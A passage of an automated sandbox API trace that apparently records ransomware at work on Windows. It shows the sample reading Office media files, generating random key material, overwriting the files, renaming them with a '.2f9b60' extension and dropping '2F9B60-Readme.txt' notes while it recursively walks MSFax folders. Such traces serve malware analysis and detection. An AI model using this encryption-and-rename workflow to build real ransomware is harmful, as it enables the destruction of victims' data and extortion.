Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f730 [0100.691] sprintf (in: _Dest=0x1cd9f730, _Format="%c%c" | out: _Dest="64") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f732, _Format="%c%c" | out: _Dest="7d") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f734, _Format="%c%c" | out: _Dest="4d") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f736, _Format="%c%c" | out: _Dest="42") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f738, _Format="%c%c" | out: _Dest="e7") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f73a, _Format="%c%c" | out: _Dest="b5") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f73c, _Format="%c%c" | out: _Dest="82") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f73e, _Format="%c%c" | out: _Dest="b2") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f740, _Format="%c%c" | out: _Dest="5e") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f742, _Format="%c%c" | out: _Dest="c7") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f744, _Format="%c%c" | out: _Dest="5d") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f746, _Format="%c%c" | out: _Dest="39") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f748, _Format="%c%c" | out: _Dest="1f") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f74a, _Format="%c%c" | out: _Dest="b6") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f74c, _Format="%c%c" | out: _Dest="ee") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f74e, _Format="%c%c" | out: _Dest="fa") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f750, _Format="%c%c" | out: _Dest="1d") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f752, _Format="%c%c" | out: _Dest="fe") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f754, _Format="%c%c" | out: _Dest="e5") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f756, _Format="%c%c" | out: _Dest="b5") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f758, _Format="%c%c" | out: _Dest="8a") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f75a, _Format="%c%c" | out: _Dest="8d") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f75c, _Format="%c%c" | out: _Dest="69") returned 2 [0100.692] sprintf (in: _Dest=0x1cd9f75e, _Format="%c%c" | out: _Dest="9c") returned 2 [0100.692] RtlInitAnsiString (in: DestinationString=0x2159f908, SourceString="647d4d42e7b582b25ec75d391fb6eefa1dfee5b58a8d699c" | out: DestinationString="647d4d42e7b582b25ec75d391fb6eefa1dfee5b58a8d699c") [0100.692] RtlAnsiStringToUnicodeString (in: DestinationString=0x2159f8d8, SourceString="647d4d42e7b582b25ec75d391fb6eefa1dfee5b58a8d699c", AllocateDestinationString=1 | out: DestinationString="647d4d42e7b582b25ec75d391fb6eefa1dfee5b58a8d699c") returned 0x0 [0100.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e870 [0100.693] wcscat (in: _Dest=0x202b0c90, _Source="647d4d42e7b5" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\647d4d42e7b5") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\647d4d42e7b5" [0100.693] wcscat (in: _Dest=0x202b0c90, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\647d4d42e7b5.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\647d4d42e7b5.2f9b60" [0100.693] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\647d4d42e7b5.2f9b60", NtPathName=0x2159f8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\647d4d42e7b5.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.693] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad8c0 [0103.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad8c0) returned 1 [0103.472] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98300) returned 1 [0103.472] NtQueryInformationFile (in: FileHandle=0x15ec, IoStatusBlock=0x2159f918, FileInformation=0x2159f928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2159f918, FileInformation=0x2159f928) returned 0x0 [0103.472] NtSetInformationFile (FileHandle=0x15ec, IoStatusBlock=0x2159f918, FileInformation=0x2159f928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0c90) returned 1 [0103.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e870) returned 1 [0103.972] FlushFileBuffers (hFile=0x15ec) returned 1 [0103.974] CloseHandle (hObject=0x15ec) returned 1 [0104.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a9b0 [0104.158] wcscpy (in: _Dest=0x2050a9b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0104.158] wcscat (in: _Dest=0x2050a9b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0104.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0xffffffff [0104.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15cc [0104.676] WriteFile (in: hFile=0x15cc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2159f7d0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2159f7d0*=0xba9, lpOverlapped=0x0) returned 1 [0104.680] CloseHandle (hObject=0x15cc) returned 1 [0104.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a9b0) returned 1 [0104.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784be0) returned 1 Thread: id = 769 os_tid = 0x12e8 [0098.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf")) returned 0x20 [0099.719] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF", dwFileAttributes=0x20) returned 1 [0099.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e8 [0099.719] GetFileSizeEx (in: hFile=0x15e8, lpFileSize=0x2166fd40 | out: lpFileSize=0x2166fd40*=2800) returned 1 [0099.719] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0xaec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.719] ReadFile (in: hFile=0x15e8, lpBuffer=0x2166fcc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2166fd08, lpOverlapped=0x0 | out: lpBuffer=0x2166fcc0*, lpNumberOfBytesRead=0x2166fd08*=0x4, lpOverlapped=0x0) returned 1 [0100.196] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263080 [0100.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263110 [0100.196] NtQuerySystemTime (in: CurrentTime=0x2166fc00 | out: CurrentTime=0x2166fc00*=132462177057130000) returned 0x0 [0100.196] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x45eed02 [0100.196] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x300afcc5 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x2d488fcd [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x368c6c86 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x5e644e6b [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x557a379f [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x6edd4590 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x4c99345a [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0xbe28201 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x3153559f [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x2879cc2 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0xa9aedf5 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0xf395c2a [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x10acc8d2 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x3d9237bc [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x3fde0f26 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x50aa473f [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x5b80b29f [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x4fd603e2 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x7d681689 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x1f6f3d09 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x4ace7235 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x53b9a40 [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x9b95e1e [0100.197] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x3f9e40cf [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x2ba8cb3a [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x2b86089c [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x653c7e8d [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x34711b94 [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x5875ca72 [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x500c0f54 [0100.198] RtlRandomEx (in: Seed=0x2166fbf0 | out: Seed=0x2166fbf0) returned 0x5951392 [0100.210] ReadFile (in: hFile=0x15e8, lpBuffer=0x2018c1b0, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x2166fbf0, lpOverlapped=0x0 | out: lpBuffer=0x2018c1b0*, lpNumberOfBytesRead=0x2166fbf0*=0xaf0, lpOverlapped=0x0) returned 1 [0100.210] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.210] WriteFile (in: hFile=0x15e8, lpBuffer=0x201978d0*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x2166fbf4, lpOverlapped=0x0 | out: lpBuffer=0x201978d0*, lpNumberOfBytesWritten=0x2166fbf4*=0xaf0, lpOverlapped=0x0) returned 1 [0100.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ce0 [0100.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263d40 [0100.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263d40) returned 1 [0100.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201978d0) returned 1 [0100.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2018c1b0) returned 1 [0100.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0100.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0100.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20263d40 [0100.647] SetFilePointerEx (in: hFile=0x15e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.647] WriteFile (in: hFile=0x15e8, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2166fd10, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x2166fd10*=0x10a, lpOverlapped=0x0) returned 1 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8673c0 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0100.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262fc0) returned 1 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0100.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0100.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8673c0) returned 1 [0100.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0100.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f730 [0100.695] sprintf (in: _Dest=0x1cd9f730, _Format="%c%c" | out: _Dest="82") returned 2 [0100.695] sprintf (in: _Dest=0x1cd9f732, _Format="%c%c" | out: _Dest="25") returned 2 [0100.695] sprintf (in: _Dest=0x1cd9f734, _Format="%c%c" | out: _Dest="dd") returned 2 [0100.695] sprintf (in: _Dest=0x1cd9f736, _Format="%c%c" | out: _Dest="61") returned 2 [0100.695] sprintf (in: _Dest=0x1cd9f738, _Format="%c%c" | out: _Dest="d6") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f73a, _Format="%c%c" | out: _Dest="74") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f73c, _Format="%c%c" | out: _Dest="52") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f73e, _Format="%c%c" | out: _Dest="33") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f740, _Format="%c%c" | out: _Dest="66") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f742, _Format="%c%c" | out: _Dest="0b") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f744, _Format="%c%c" | out: _Dest="68") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f746, _Format="%c%c" | out: _Dest="98") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f748, _Format="%c%c" | out: _Dest="ff") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f74a, _Format="%c%c" | out: _Dest="cc") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f74c, _Format="%c%c" | out: _Dest="51") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f74e, _Format="%c%c" | out: _Dest="43") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f750, _Format="%c%c" | out: _Dest="4b") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f752, _Format="%c%c" | out: _Dest="c8") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f754, _Format="%c%c" | out: _Dest="a1") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f756, _Format="%c%c" | out: _Dest="23") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f758, _Format="%c%c" | out: _Dest="39") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f75a, _Format="%c%c" | out: _Dest="62") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f75c, _Format="%c%c" | out: _Dest="9c") returned 2 [0100.696] sprintf (in: _Dest=0x1cd9f75e, _Format="%c%c" | out: _Dest="d0") returned 2 [0100.696] RtlInitAnsiString (in: DestinationString=0x2166fd88, SourceString="8225dd61d6745233660b6898ffcc51434bc8a12339629cd0" | out: DestinationString="8225dd61d6745233660b6898ffcc51434bc8a12339629cd0") [0100.696] RtlAnsiStringToUnicodeString (in: DestinationString=0x2166fd58, SourceString="8225dd61d6745233660b6898ffcc51434bc8a12339629cd0", AllocateDestinationString=1 | out: DestinationString="8225dd61d6745233660b6898ffcc51434bc8a12339629cd0") returned 0x0 [0100.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e800 [0100.697] wcscat (in: _Dest=0x202b1050, _Source="8225dd61d674" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8225dd61d674") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8225dd61d674" [0100.697] wcscat (in: _Dest=0x202b1050, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8225dd61d674.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8225dd61d674.2f9b60" [0100.697] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8225dd61d674.2f9b60", NtPathName=0x2166fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8225dd61d674.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0100.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x202ad970 [0103.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad970) returned 1 [0103.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99250) returned 1 [0103.474] NtQueryInformationFile (in: FileHandle=0x15e8, IoStatusBlock=0x2166fd98, FileInformation=0x2166fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2166fd98, FileInformation=0x2166fda8) returned 0x0 [0103.474] NtSetInformationFile (FileHandle=0x15e8, IoStatusBlock=0x2166fd98, FileInformation=0x2166fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0103.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1050) returned 1 [0103.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0103.969] FlushFileBuffers (hFile=0x15e8) returned 1 [0103.973] CloseHandle (hObject=0x15e8) returned 1 [0104.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a920 [0104.152] wcscpy (in: _Dest=0x2050a920, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0104.152] wcscat (in: _Dest=0x2050a920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0104.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0xffffffff [0104.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1790 [0104.677] WriteFile (in: hFile=0x1790, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2166fc50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2166fc50*=0xba9, lpOverlapped=0x0) returned 1 [0104.680] CloseHandle (hObject=0x1790) returned 1 [0107.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a920) returned 1 [0107.346] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784d00) returned 1 Thread: id = 770 os_tid = 0x12ec [0098.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9d7f0 [0098.514] wcscpy (in: _Dest=0x1cd9d7f0, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0098.514] wcscat (in: _Dest=0x1cd9d7f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0098.514] wcscat (in: _Dest=0x1cd9d7f0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*" [0098.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56560 [0098.515] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8586d0 [0099.586] wcscmp (_String1=".", _String2=".") returned 0 [0099.586] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.586] wcscmp (_String1="..", _String2=".") returned 1 [0099.586] wcscmp (_String1="..", _String2="..") returned 0 [0099.586] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActivityLog", cAlternateFileName="ACTIVI~1")) returned 1 [0099.586] wcscmp (_String1="ActivityLog", _String2=".") returned 1 [0099.586] wcscmp (_String1="ActivityLog", _String2="..") returned 1 [0099.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b869440 [0099.586] wcscpy (in: _Dest=0x1b869440, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0099.586] wcscat (in: _Dest=0x1b869440, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0099.586] wcscat (in: _Dest=0x1b869440, _Source="ActivityLog" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog" [0127.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b869440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a4 [0127.043] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: lpFindFileData=0x1ce56560*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1 [0127.043] wcscmp (_String1="Common Coverpages", _String2=".") returned 1 [0127.043] wcscmp (_String1="Common Coverpages", _String2="..") returned 1 [0127.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20504410 [0127.043] wcscpy (in: _Dest=0x20504410, _Source="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax" [0127.043] wcscat (in: _Dest=0x20504410, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\" [0127.044] wcscat (in: _Dest=0x20504410, _Source="Common Coverpages" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages" [0127.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20504410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xadc [0127.045] FindNextFileW (in: hFindFile=0x1b8586d0, lpFindFileData=0x1ce56560 | out: 